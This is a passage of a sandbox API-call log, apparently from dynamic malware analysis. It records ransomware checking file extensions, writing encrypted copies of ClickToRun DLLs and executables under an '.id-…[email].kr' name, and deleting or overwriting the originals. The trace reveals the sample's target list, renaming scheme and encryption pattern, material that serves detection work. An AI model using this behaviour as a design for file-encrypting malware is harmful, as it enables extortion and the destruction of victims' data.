returned -1 [0106.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.855] lstrlenW (lpString=".1cd") returned 4 [0106.855] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.855] lstrlenW (lpString=".jpg") returned 4 [0106.855] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.855] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.855] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0106.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.856] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=20672) returned 1 [0106.856] CloseHandle (hObject=0x34c) returned 1 [0106.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0106.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.856] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.288] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.289] GetLastError () returned 0x0 [0107.289] ReadFile (in: hFile=0x34c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x50c0, lpOverlapped=0x0) returned 1 [0107.291] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x50d0, lpOverlapped=0x0) returned 1 [0107.293] ReadFile (in: hFile=0x34c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.293] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11c, lpOverlapped=0x0) returned 1 [0107.293] SetEndOfFile (hFile=0x394) returned 1 [0107.293] CloseHandle (hObject=0x394) returned 1 [0107.295] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.295] SetEndOfFile (hFile=0x34c) returned 1 [0107.297] CloseHandle (hObject=0x34c) returned 1 [0107.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.297] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0107.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.298] lstrlenW (lpString=".doc") returned 4 [0107.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.298] lstrlenW (lpString=".docx") returned 5 [0107.298] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.298] lstrlenW (lpString=".pdf") returned 4 [0107.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.298] lstrlenW (lpString=".xls") returned 4 [0107.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.298] lstrlenW (lpString=".xlsx") returned 5 [0107.298] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.298] lstrlenW (lpString=".ppt") returned 4 [0107.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.298] lstrlenW (lpString=".zip") returned 4 [0107.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.298] lstrlenW (lpString=".rar") returned 4 [0107.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.298] lstrlenW (lpString=".bz2") returned 4 [0107.298] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.299] lstrlenW (lpString=".7z") returned 3 [0107.299] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.299] lstrlenW (lpString=".dbf") returned 4 [0107.299] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.299] lstrlenW (lpString=".1cd") returned 4 [0107.299] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.299] lstrlenW (lpString=".jpg") returned 4 [0107.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.299] lstrlenW (lpString=".doc") returned 4 [0107.299] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.299] lstrlenW (lpString=".docx") returned 5 [0107.299] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.299] lstrlenW (lpString=".pdf") returned 4 [0107.299] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.299] lstrlenW (lpString=".xls") returned 4 [0107.299] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.299] lstrlenW (lpString=".xlsx") returned 5 [0107.299] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.299] lstrlenW (lpString=".ppt") returned 4 [0107.300] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.300] lstrlenW (lpString=".zip") returned 4 [0107.300] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.300] lstrlenW (lpString=".rar") returned 4 [0107.300] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.300] lstrlenW (lpString=".bz2") returned 4 [0107.300] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.300] lstrlenW (lpString=".7z") returned 3 [0107.300] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.300] lstrlenW (lpString=".dbf") returned 4 [0107.300] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.300] lstrlenW (lpString=".1cd") returned 4 [0107.300] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0107.300] lstrlenW (lpString=".jpg") returned 4 [0107.300] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.300] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.301] lstrlenW (lpString="ApiClient.dll") returned 13 [0107.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0107.301] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=162880) returned 1 [0107.301] CloseHandle (hObject=0x34c) returned 1 [0107.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0107.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.302] lstrlenW (lpString=".doc") returned 4 [0107.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.302] lstrlenW (lpString=".docx") returned 5 [0107.302] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0107.302] lstrlenW (lpString=".pdf") returned 4 [0107.302] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.302] lstrlenW (lpString=".xls") returned 4 [0107.302] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.302] lstrlenW (lpString=".xlsx") returned 5 [0107.302] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0107.302] lstrlenW (lpString=".ppt") returned 4 [0107.302] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.302] lstrlenW (lpString=".zip") returned 4 [0107.302] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.302] lstrlenW (lpString=".rar") returned 4 [0107.302] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.302] lstrlenW (lpString=".bz2") returned 4 [0107.302] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.302] lstrlenW (lpString=".7z") returned 3 [0107.302] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.302] lstrlenW (lpString=".dbf") returned 4 [0107.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.303] lstrlenW (lpString=".1cd") returned 4 [0107.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.303] lstrlenW (lpString=".jpg") returned 4 [0107.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.303] lstrlenW (lpString=".doc") returned 4 [0107.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.303] lstrlenW (lpString=".docx") returned 5 [0107.303] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0107.303] lstrlenW (lpString=".pdf") returned 4 [0107.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.303] lstrlenW (lpString=".xls") returned 4 [0107.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.303] lstrlenW (lpString=".xlsx") returned 5 [0107.303] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0107.303] lstrlenW (lpString=".ppt") returned 4 [0107.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.303] lstrlenW (lpString=".zip") returned 4 [0107.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.303] lstrlenW (lpString=".rar") returned 4 [0107.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.304] lstrlenW (lpString=".bz2") returned 4 [0107.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.304] lstrlenW (lpString=".7z") returned 3 [0107.304] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.304] lstrlenW (lpString=".dbf") returned 4 [0107.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.304] lstrlenW (lpString=".1cd") returned 4 [0107.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0107.304] lstrlenW (lpString=".jpg") returned 4 [0107.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.304] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.304] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0107.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0107.305] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=656088) returned 1 [0107.305] CloseHandle (hObject=0x34c) returned 1 [0107.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0107.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.305] lstrlenW (lpString=".doc") returned 4 [0107.305] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.305] lstrlenW (lpString=".docx") returned 5 [0107.305] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0107.305] lstrlenW (lpString=".pdf") returned 4 [0107.305] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.306] lstrlenW (lpString=".xls") returned 4 [0107.306] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.306] lstrlenW (lpString=".xlsx") returned 5 [0107.306] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0107.306] lstrlenW (lpString=".ppt") returned 4 [0107.306] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.306] lstrlenW (lpString=".zip") returned 4 [0107.306] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.306] lstrlenW (lpString=".rar") returned 4 [0107.306] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.306] lstrlenW (lpString=".bz2") returned 4 [0107.306] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.306] lstrlenW (lpString=".7z") returned 3 [0107.306] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.306] lstrlenW (lpString=".dbf") returned 4 [0107.306] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.306] lstrlenW (lpString=".1cd") returned 4 [0107.306] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.306] lstrlenW (lpString=".jpg") returned 4 [0107.306] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.307] lstrlenW (lpString=".doc") returned 4 [0107.307] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.307] lstrlenW (lpString=".docx") returned 5 [0107.307] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0107.307] lstrlenW (lpString=".pdf") returned 4 [0107.307] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.307] lstrlenW (lpString=".xls") returned 4 [0107.307] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.307] lstrlenW (lpString=".xlsx") returned 5 [0107.307] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0107.307] lstrlenW (lpString=".ppt") returned 4 [0107.307] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.307] lstrlenW (lpString=".zip") returned 4 [0107.307] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.307] lstrlenW (lpString=".rar") returned 4 [0107.307] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.307] lstrlenW (lpString=".bz2") returned 4 [0107.307] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.307] lstrlenW (lpString=".7z") returned 3 [0107.307] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.307] lstrlenW (lpString=".dbf") returned 4 [0107.307] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.307] lstrlenW (lpString=".1cd") returned 4 [0107.308] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0107.308] lstrlenW (lpString=".jpg") returned 4 [0107.308] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.308] lstrcmpiW (lpString1=".exe", lpString2=".kr") returned -1 [0107.308] lstrlenW (lpString="appvcleaner.exe") returned 15 [0107.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0107.308] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=2054872) returned 1 [0107.308] CloseHandle (hObject=0x34c) returned 1 [0107.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0107.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0107.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0107.310] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc64 | out: lpNewFilePointer=0x0) returned 1 [0107.310] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc24 | out: lpNewFilePointer=0x0) returned 1 [0107.310] ReadFile (in: hFile=0x34c, lpBuffer=0x4121058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x4121058*, lpNumberOfBytesRead=0x3b9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.316] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc24 | out: lpNewFilePointer=0x0) returned 1 [0107.316] ReadFile (in: hFile=0x34c, lpBuffer=0x4161058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x4161058*, lpNumberOfBytesRead=0x3b9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.321] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3b9fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.322] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc24 | out: lpNewFilePointer=0x0) returned 1 [0107.322] ReadFile (in: hFile=0x34c, lpBuffer=0x41a1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x41a1058*, lpNumberOfBytesRead=0x3b9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.769] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.769] WriteFile (in: hFile=0x34c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x3b9fca8, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fca8*=0xc010a, lpOverlapped=0x0) returned 1 [0108.004] SetEndOfFile (hFile=0x34c) returned 1 [0109.274] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x430beb8 [0109.274] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc74 | out: lpNewFilePointer=0x0) returned 1 [0109.274] WriteFile (in: hFile=0x34c, lpBuffer=0x430beb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b9fc80, lpOverlapped=0x0 | out: lpBuffer=0x430beb8*, lpNumberOfBytesWritten=0x3b9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0109.276] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc74 | out: lpNewFilePointer=0x0) returned 1 [0109.276] WriteFile (in: hFile=0x34c, lpBuffer=0x430beb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b9fc80, lpOverlapped=0x0 | out: lpBuffer=0x430beb8*, lpNumberOfBytesWritten=0x3b9fc80*=0x40000, lpOverlapped=0x0) returned 1 